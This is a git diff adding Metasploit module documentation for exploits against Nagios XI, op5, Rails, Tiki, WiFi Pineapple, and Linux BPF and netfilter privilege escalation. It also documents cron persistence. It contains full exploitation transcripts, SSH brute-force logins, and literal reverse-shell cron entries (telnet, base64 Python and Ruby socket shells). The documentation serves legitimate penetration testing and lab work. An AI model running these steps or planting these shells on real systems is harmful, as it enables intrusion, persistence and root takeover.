exploit(kaltura_unserialize_rce) > set RHOST centoshacker.dev +RHOST => centoshacker.dev +msf exploit(kaltura_unserialize_rce) > check +[+] centoshacker.dev:80 The target is vulnerable. +msf exploit(kaltura_unserialize_rce) > exploit + +[*] Started reverse TCP handler on 10.0.0.1:4444 +[*] Sending stage (33721 bytes) to 10.0.0.134 +[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.134:50312) at 2016-09-17 22:56:44 +0300 + +meterpreter > pwd +/opt/kaltura/app/alpha/web +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md b/documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md new file mode 100644 index 0000000000..18bc3fcc02 --- /dev/null +++ b/documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md @@ -0,0 +1,73 @@ +## Intro + +Nagios XI is the enterprise version of Nagios, the monitoring software we love +and hate. + +> This module exploits an SQL injection, auth bypass, file upload, command +injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell. + +## Setup + +**Download the virtual appliance:** + +I used the 64-bit OVA [here]. Remove the "-64" in the link to download the +32-bit OVA. + +[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova + +**Import the OVA:** + +Just import it into VMware or VirtualBox. It should create a VM for you. + +**Configure the software:** + +When you start the VM, you will see ```Access Nagios XI at http://[redacted]``` +on the login screen. Connect to the URL using your web browser and follow the +steps on the screen to configure the app. + +Configuration is actually not required to exploit the app, but you should do it +anyway. + +## Usage + +Just set ```RHOST``` and fire off the module! It's pretty much painless. +```set VERBOSE true``` if you want to see details. + +``` +msf > use exploit/linux/http/nagios_xi_chained_rce +msf exploit(nagios_xi_chained_rce) > set rhost [redacted] +rhost => [redacted] +msf exploit(nagios_xi_chained_rce) > set verbose true +verbose => true +msf exploit(nagios_xi_chained_rce) > run + +[*] Started reverse TCP handler on [redacted]:4444 +[*] Nagios XI version: 5.2.7 +[*] Getting API token +[+] API token: 3o2erpm0 +[*] Getting admin cookie +[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7; +[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911 +[*] Getting monitored host +[+] Monitored host: localhost +[*] Downloading component +[*] Uploading root shell +[*] Popping shell! +[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500 +[*] Cleaning up... +[*] rm -rf ../profile +[*] unzip -qd .. ../../../../tmp/component-profile.zip +[*] chown -R nagios:nagios ../profile +[*] rm -f ../../../../tmp/component-xAmhUGRn.zip + +3904334783 +TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI +cKKdfdZxRpDduZCezKXOficrVyNeVggH +mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF +dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE +wjCWBTgbsQuPemhiByeMpMEhdPooHEvw +id +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) +uname -a +Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/linux/http/op5_config_exec.md b/documentation/modules/exploit/linux/http/op5_config_exec.md new file mode 100644 index 0000000000..4f0a713ff9 --- /dev/null +++ b/documentation/modules/exploit/linux/http/op5_config_exec.md @@ -0,0 +1,63 @@ +## Vulnerable Application + + Official Source: [op5.com](https://www.op5.com/blog/wpfb-file/op5-monitor-7-1-9-20160303-tar-gz/) + Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts) + +### Creating A Testing Environment + +Just a few quick notes on setting up a vulnerable lab with this software. + + 1. The vulnerable version only installs on CentOS 6.x (author used 6.0 final) + 2. Within `php.ini`, `date.timezone = "America/New York"` to `date.timezone = "America/New_York"` if you get php errors + 3. You may need to register for a free license via an email challenge/verification + +## Verification Steps + + 1. Install the software, RHEL/CENTOS required (tested on CentOS 6) + 2. Start msfconsole + 3. Do: ```use exploit/linux/http/op5_config_exec``` + 4. Do: ```set payload linux/x86/shell/reverse_tcp``` + 5. Do: ```set rhost 192.168.2.31``` + 6. Do: ```set lhost 192.168.2.229``` + 7. Do: ```exploit``` + 8. You should get a shell. + +## Options + + **PASSWORD** + + Password is 'monitor' by default. + + **USERNAME** + + Documentation was unclear on this. Installing just the app, the + username was 'monitor' by default. However it looks like if you + install the appliance it may be 'root' + +## Scenarios + + ``` + msf > use exploit/linux/http/op5_config_exec + msf exploit(op5_config_exec) > set verbose true + verbose => true + msf exploit(op5_config_exec) > set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + msf exploit(op5_config_exec) > set rhost 192.168.2.31 + rhost => 192.168.2.31 + msf exploit(op5_config_exec) > set lhost 192.168.2.229 + lhost => 192.168.2.229 + msf exploit(op5_config_exec) > check + + [+] Version Detected: 7.1.9 + [+] The target is vulnerable. + msf exploit(op5_config_exec) > exploit + + [*] Started reverse TCP handler on 192.168.2.229:4444 + [*] Sending stage (36 bytes) to 192.168.2.31 + [*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.31:52552) at 2016-06-01 14:38:41 -0400 + [*] Command Stager progress - 100.00% done (832/832 bytes) + whoami + monitor + id + uid=299(monitor) gid=48(apache) groups=48(apache),14(uucp),488(smstools) context=system_u:system_r:initrc_t:s0 + ``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/pineapple_bypass_cmdinject.md b/documentation/modules/exploit/linux/http/pineapple_bypass_cmdinject.md new file mode 100644 index 0000000000..7c21f073d0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pineapple_bypass_cmdinject.md @@ -0,0 +1,21 @@ +## Background + +The 'pineapple_bypass_cmdinject' exploit attacks a weak check for +pre-authorized CSS files, which allows the attacker to bypass +authentication. The exploit then relies on the anti-CSRF vulnerability +(CVE-2015-4624) to obtain command injection. + +This exploit uses a utility function in +/components/system/configuration/functions.php to execute commands once +authorization has been bypassed. + +## Verification + +This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The +default options are generally effective due to having a set state after being +flashed. You will need to be connected to the WiFi pineapple network (e.g. via +WiFi or ethernet). + +Assuming the above 2.3 firmware is installed, this exploit should always work. +If it does not, try it again. It should always work as long as the pineapple is +in its default configuration. diff --git a/documentation/modules/exploit/linux/http/pineapple_preconfig_cmdinject.md b/documentation/modules/exploit/linux/http/pineapple_preconfig_cmdinject.md new file mode 100644 index 0000000000..674675ad8b --- /dev/null +++ b/documentation/modules/exploit/linux/http/pineapple_preconfig_cmdinject.md @@ -0,0 +1,28 @@ +## Background + +This module uses a challenge solver exploit which impacts two possible states +of the device: pre-password set and post-password set. The pre-password set +vulnerability uses a default password and a weak anti-CSRF (CVE-2015-4624) +check to obtain shell by logging in and pre-computing the solution to +the anti-CSRF check. + +The post-password set vulnerability uses the fact that there is a 1 in 27 +chance of correctly guessing the challenge solution. This attack resets the +password to a password chosen by the attacker (we suggest the default +'pineapplesareyummy' to decrease collateral damage on victims) and then +performs the same anti-CSRF attack as the pre-password vulnerability. + +This exploit uses a utility function in +/components/system/configuration/functions.php to execute commands once +authorization has been bypassed. + +## Verification + +This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The +default options are generally effective due to having a set state after being +flashed. You will need to be connected to the WiFi pineapple network (e.g. via +WiFi or ethernet). + +Assuming the above 2.3 firmware is installed, this exploit should always work. +If it does not, try it again. It should always work as long as the pineapple is +in its default configuration. diff --git a/documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md b/documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md new file mode 100644 index 0000000000..f0b9d961c1 --- /dev/null +++ b/documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md @@ -0,0 +1,79 @@ +## Intro + +Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. + +http://rubyonrails.org/ + +> This module exploits the rendering vulnerability via a temporary file upload to pop a shell (CVE-2016-0752). + +## Setup + +**Download and setup the sample vuln application:** + +- [ ] `sudo apt-get install -y curl git` +- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1` +- [ ] `source ~/.rvm/scripts/rvm` +- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y` +- [ ] `gem install rails -v 4.0.8` +- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn` +- [ ] `cd pwn` +- [ ] `bundle install` +- [ ] Edit the config/routes.rb file and add `post "users/:id", to: 'user#show'` + +Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module. + +- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production` + +## Usage + +### Typical Usage + +Just set ```RHOST``` and fire off the module! It's pretty much painless. +```set VERBOSE true``` if you want to see details. + +``` +saturn:metasploit-framework mr_me$ cat scripts/rails.rc +use exploit/multi/http/rails_dynamic_render_code_exec +set RHOST 172.16.175.251 +set payload linux/x86/meterpreter/reverse_tcp +set LHOST 172.16.175.1 +check +exploit + +saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc +[*] Processing scripts/rails.rc for ERB directives. +resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec +resource (scripts/rails.rc)> set RHOST 172.16.175.251 +RHOST => 172.16.175.251 +resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +resource (scripts/rails.rc)> set LHOST 172.16.175.1 +LHOST => 172.16.175.1 +resource (scripts/rails.rc)> check +[+] 172.16.175.251:3000 The target is vulnerable. +resource (scripts/rails.rc)> exploit +[*] Exploit running as background job. +[*] Started reverse TCP handler on 172.16.175.1:4444 + +[*] Sending initial request to detect exploitability +msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ... +[*] Using URL: http://0.0.0.0:1337/iUDaRVpz +[*] Local IP: http://192.168.100.13:1337/iUDaRVpz +[*] uploading image... +[+] injected payload +[*] 172.16.175.251:3000 - Sending the payload to the server... +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) +[*] Sending stage (1495599 bytes) to 172.16.175.251 +[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500 +[+] Deleted /tmp/NhhGKCCIgwF + +msf exploit(rails_dynamic_render_code_exec) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > shell +Process 50809 created. +Channel 1 created. +$ id +uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth) +$ +``` diff --git a/documentation/modules/exploit/linux/http/tiki_calendar_exec.md b/documentation/modules/exploit/linux/http/tiki_calendar_exec.md new file mode 100644 index 0000000000..64f396536d --- /dev/null +++ b/documentation/modules/exploit/linux/http/tiki_calendar_exec.md @@ -0,0 +1,103 @@ +## Vulnerable Application + + * Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/) + * Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z) + * Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts) + + **Of note, there is some discussion if 14.2 is vuln or not.** + + 1. Exploit-DB says in the title (may be wrong) 14.2 is vuln. + 2. The linked app Exploit-DB has is 14.2. + 3. Its verified on Exploit-DB. + +vs + + 1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln + 2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem + +### Creating A Testing Environment + + 1. Create a fresh Ubuntu 16.04 w/ a LAMP install + 2. `apt-get install php-xml` + 3. Normal php install at that point! + 4. After install, login as admin:admin + 5. Go to the Control Panels + 6. Click Features + 7. Enable Calendar under Main feature + 8. Click Apply + +#### Permissions + + If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar: + + 1. Log in as admin + 2. From the top dropdown select permissions + 3. Check Anonymous near the top + 4. Click Assign + +## Verification Steps + + 1. Install the software as documented above + 2. Start msfconsole + 3. Do: `use exploit/linux/http/tiki_calendar_exec` + 4. Do: `set rhost 10.10.10.10` + 5. (optional, if not set, set username to empty) Do: `set PASSWORD admin` + 6. Do: `set payload php/bind_perl` + 7. Do: `set verbose true` + 8. Do: `check` + +``` + [*] Attempting Login + [+] Login Successful! + [+] 10.10.10.10:80 The target is vulnerable. +``` + + 9. Do: `exploit` + 10. You should get a shell + +``` + [*] Started reverse TCP handler on 10.10.10.10:4444 + [*] Attempting Login + [+] Login Successful! + [*] Sending malicious calendar view packet + [*] Sending stage (33721 bytes) 10.10.10.10.190 + [*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400 +``` + +## Options + + **PASSWORD** + + Password is set at first login. Default for admin is 'admin'. + +## Scenarios + +Example running against unauthenticated calendar v14.1 + +``` + msf > use exploit/linux/http/tiki_calendar_exec + msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190 + rhost => 192.168.2.190 + msf exploit(tiki_calendar_exec) > set targeturi /t14_1/ + targeturi => /t14_1/ + msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp + payload => php/meterpreter/reverse_tcp + msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229 + lhost => 192.168.2.229 + msf exploit(tiki_calendar_exec) > set verbose true + verbose => true + msf exploit(tiki_calendar_exec) > set username '' + username => + msf exploit(tiki_calendar_exec) > exploit + + [*] Started reverse TCP handler on 192.168.2.229:4444 + [*] Sending malicious calendar view packet + [*] Sending stage (33721 bytes) to 192.168.2.190 + [*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400 + + meterpreter > sysinfo + Computer : tikiwiki + OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 + Meterpreter : php/php + meterpreter > +``` diff --git a/documentation/modules/exploit/linux/local/bpf_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_priv_esc.md new file mode 100644 index 0000000000..3a0de3ac8d --- /dev/null +++ b/documentation/modules/exploit/linux/local/bpf_priv_esc.md @@ -0,0 +1,167 @@ +## Notes + +This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper. + +Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work. + +As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required. + +As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted. + +## Creating A Testing Environment + +There are a few requirements for this module to work: + + 1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + + Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set! + +This module has been tested against: + + 1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile) + 2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile) + +This module was not tested against, but may work against: + + 1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311) + 4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603) + 5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/bpf_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **MAXWAIT** + + The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds) + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + + **COMPILE** + + If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto + +## Scenarios + +### Ubuntu 16.04 (with Linux 4.4.0-38-generic) + +#### Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.130 + rhosts => 192.168.199.130 + msf auxiliary(ssh_login) > set username ubuntu + username => ubuntu + msf auxiliary(ssh_login) > set password ubuntu + password => ubuntu + msf auxiliary(ssh_login) > exploit + + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + +In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system. + + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc + msf exploit(bpf_priv_esc) > set verbose true + verbose => true + msf exploit(bpf_priv_esc) > set session 1 + session => 1 + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 + lhost => 192.168.199.131 + msf exploit(bpf_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.199.131:4444 + [+] CONFIG_BPF_SYSCAL is set to yes + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 + [+] fuse is installed + [+] libfuse-dev is installed + [+] gcc is installed + [*] Live compiling exploit on system + [*] Writing files to target + [*] Writing hello to /tmp/hello.c + [*] Max line length is 65537 + [*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf + [*] Writing doubleput to /tmp/doubleput.c + [*] Max line length is 65537 + [*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf + [*] Writing suidhelper to /tmp/suidhelper.c + [*] Max line length is 65537 + [*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf + [*] Compiling all modules on target + [*] Writing payload to /tmp/AyDJSaMM + [*] Max line length is 65537 + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. This may take about 120 seconds + [+] got root, starting payload + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (2412016 bytes) to 192.168.199.130 + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400 + [*] Cleaning up... + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 192.168.199.130 + OS : Ubuntu 16.04 (Linux 4.4.0-38-generic) + Architecture : x86_64 + Meterpreter : x64/linux + +#### Escalate w/ pre-compiled binaries + +It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed + + msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc + msf exploit(bpf_priv_esc) > set verbose true + verbose => true + msf exploit(bpf_priv_esc) > set session 1 + session => 1 + msf exploit(bpf_priv_esc) > set lhost 192.168.199.131 + lhost => 192.168.199.131 + msf exploit(bpf_priv_esc) > exploit + + [*] Started reverse TCP handler on 192.168.199.131:4444 + [+] CONFIG_BPF_SYSCAL is set to yes + [+] kernel.unprivileged_bpf_disabled is NOT set to 1 + [+] fuse is installed + [-] libfuse-dev is not installed. Compiling will fail. + [*] Dropping pre-compiled exploit on system + [*] Writing pre-compiled binarys to target + [*] Max line length is 65537 + [*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf + [*] Max line length is 65537 + [*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf + [*] Max line length is 65537 + [*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf + [*] Writing payload to /tmp/AyDJSaMM + [*] Max line length is 65537 + [*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf + [*] Starting execution of priv esc. This may take about 120 seconds + [+] got root, starting payload + [-] This exploit may require process killing of 'hello', and 'doubleput' on the target + [-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target + [-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (2412016 bytes) to 192.168.199.130 + [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 diff --git a/documentation/modules/exploit/linux/local/cron_persistence.md b/documentation/modules/exploit/linux/local/cron_persistence.md new file mode 100644 index 0000000000..9b85de5ef7 --- /dev/null +++ b/documentation/modules/exploit/linux/local/cron_persistence.md @@ -0,0 +1,144 @@ +### Creating A Testing Environment + +This module has been tested against: + +1. Kali Rolling + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/cron_persistence` + 5. Do: `set session #` + 6. Do: `set target #` + 7. Do: `set verbose true` + 8. Optional Do: `set username` (depends on target selection) + 9. Optional Do: `set cleanup false` + 10. Do: `exploit` + +## Options + + **username** + + Set a specific user's crontab if target 'User Crontab' is selected + + **timing** + + Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate + + **cleanup** + + After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. **THIS WILL STOP THE PERSISTENCE!!!** + +## Scenarios + +### Kali Rolling (root) + +Initial Access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password password + password => password + msf auxiliary(ssh_login) > set rhosts 10.10.60.168 + rhosts => 10.10.60.168 + msf auxiliary(ssh_login) > exploit + + [*] 10.10.60.168:22 SSH - Starting bruteforce + [+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux ' + [*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Run our module (Cron) + + msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence + msf exploit(cron_persistence) > set session 1 + session => 1 + msf exploit(cron_persistence) > set verbose true + verbose => true + msf exploit(cron_persistence) > set target 0 + target => 0 + msf exploit(cron_persistence) > exploit + + [*] Started reverse double handler + [*] Max line length is 65537 + [*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf + [+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR + [*] Waiting 90sec for callback + [*] Accepted the first client connection... + [*] Accepted the second client connection... + [*] Command: echo xPBXQvodQdzgByKR; + [*] Writing to socket A + [*] Writing to socket B + [*] Reading from sockets... + [*] Reading from socket A + [*] A: "xPBXQvodQdzgByKR\r\n" + [*] Matching... + [*] B is input... + [*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400 + [+] Deleted /etc/cron.d/FiThkldAZR + +Run our module (System Crontab) + + msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence + msf exploit(cron_persistence) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(cron_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(cron_persistence) > set session 1 + session => 1 + msf exploit(cron_persistence) > set verbose true + verbose => true + msf exploit(cron_persistence) > set target 2 + target => 2 + msf exploit(cron_persistence) > set cleanup false + cleanup => false + msf exploit(cron_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Max line length is 65537 + [*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf + [+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab + [*] Waiting 90sec for callback + [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400 + +And since we didn't clean up, if our session dies... + + ^C + Abort session 2? [y/N] y + + [*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit + msf exploit(cron_persistence) > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(handler) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400 + +Run our module (User Crontab) + + msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby + payload => cmd/unix/reverse_ruby + msf exploit(cron_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(cron_persistence) > set session 1 + session => 1 + msf exploit(cron_persistence) > set verbose true + verbose => true + msf exploit(cron_persistence) > set target 1 + target => 1 + msf exploit(cron_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Max line length is 65537 + [*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf + [+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root + [*] Reloading cron to pickup new entry + [*] Waiting 90sec for callback + [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400 diff --git a/documentation/modules/exploit/linux/local/netfilter_priv_esc.md b/documentation/modules/exploit/linux/local/netfilter_priv_esc.md new file mode 100644 index 0000000000..42e0294dd7 --- /dev/null +++ b/documentation/modules/exploit/linux/local/netfilter_priv_esc.md @@ -0,0 +1,218 @@ +## Notes + +Originally this module was written to drop the binary files on the target via metasm. However, metasm wasn't able to compile due to the libc6-dev-i386 requirement, so it was decided to compile on the target or drop included binary instead of compiling real time. + +This module (and the original exploit) are written in two parts: desc, and pwn. Desc does the heavy lifting to prep/condition the environment, pwn does the payload executing. + +## Creating A Testing Environment + +There are a few requirements for this module to work (ubuntu): + + 1. ip_tables.ko has to be loaded (root running iptables -L will do such) + 2. shem and sham can not be installed/running + +This module has been tested against: + + 1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic) + 2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic + +This does not work against the following vulnerable systems. Additional work may be required to the binary and C code to enable these targets. + + 1. Fedora 24 < [kernel-4.6.3-300](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18) + 2. Fedora 22 < [kernel-4.4.14-200](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19) + 3. RHEL < [kernel-3.10.0-327.36.1.el7](https://rhn.redhat.com/errata/RHSA-2016-1847.html) + 4. Suse < [kernel-default-3.12.59-60.45.2](http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00060.html) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/netfilter_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **MAXWAIT** + + The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds) + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + + **REEXPLOIT** + + When re-exploiting, no need to run desc (it may even fail), so we can simply run pwn and get our shell. 